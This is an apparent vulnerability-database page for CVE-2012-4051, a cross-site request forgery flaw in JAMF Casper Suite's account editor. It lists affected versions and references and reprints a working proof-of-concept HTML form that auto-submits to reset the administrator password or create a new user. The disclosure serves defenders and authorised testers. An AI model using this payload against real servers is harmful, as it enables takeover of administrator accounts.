CVE-2012-4051
Description
Multiple cross-site request forgery (CSRF) vulnerabilities in editAccount.html in the JAMF Software Server (JSS) interface in JAMF Casper Suite before 8.61 allow remote attackers to hijack the authentication of administrators for requests that (1) create user accounts or (2) change passwords via a Save action.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
JAMF Casper Suite MDM - Cross-Site Request Forgery
CVE-2012-4051 - JAMF Casper Suite MDM CSRF Vulnerability
# Exploit Title: JAMF Software's Casper Suite MDM Solution CSRF
# Date: Discovered and reported July 2012
# Author: Jacob Holcomb/Gimppy042
# Software JAMF Software Casper Suite (http://jamfsoftware.com/products/casper-suite)
# CVE : CVE-2012-4051 for the CSRF
<head>
<title>PwNd JAMF Casper Admin CSRF BY:Jacob Holcomb</title>
</head>
<body>
<form name="csrf"
action="https://CASPERSUITE_SERVER:8443/editAccount.html" method="post">
<input type="hidden" name="view" value="Save"/>
<input type="hidden" name="source" value="jss"/>
<input type="hidden" name="lastPage" value="editAccountGeneral.jsp"/>
<input type="hidden" name="lastTab" value="Account"/>
<input type="hidden" name="username" value="Gimppy"/>
<input type="hidden" name="realname" value="Pwnd"/>
<input type="hidden" name="email" value="Admin"/>
<input type="hidden" name="phone" value="Password"/>
<input type="hidden" name="password" value="pwnd1"/>
<input type="hidden" name="vpassword" value="pwnd1"/>
<input type="hidden" name="user_id" value="1"/>
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>
If the HTML parameter/variable "user_id" is changed to a value of negative
one (-1) this request to the web server will create a new user.
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| jamf | casper_suite | {"endIncluding":"8.6"} | |
| jamf | casper_suite | 7.0 | |
| jamf | casper_suite | 7.1 | |
| jamf | casper_suite | 7.2 | |
| jamf | casper_suite | 7.3 | |
| jamf | casper_suite | 8.0 | |
| jamf | casper_suite | 8.1 | |
| jamf | casper_suite | 8.2 | |
| jamf | casper_suite | 8.3 | |
| jamf | casper_suite | 8.4 | |
| jamf | casper_suite | 8.5 | |
| jamf | casper_suite | 8.43 | |
| jamf | casper_suite | 8.51 | |
References
- http://infosec42.blogspot.com/2012/09/jamf-casper-suite-mdm-csrf-vulnerability.html
- http://jamfsoftware.com/libraries/pdf/products/documentation/Casper_Suite_8.61_Release_Notes.pdf
- http://www.kb.cert.org/vuls/id/555668
- http://infosec42.blogspot.com/2012/09/jamf-casper-suite-mdm-csrf-vulnerability.html
- http://jamfsoftware.com/libraries/pdf/products/documentation/Casper_Suite_8.61_Release_Notes.pdf
- http://www.kb.cert.org/vuls/id/555668
CWEs
CWE-352
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.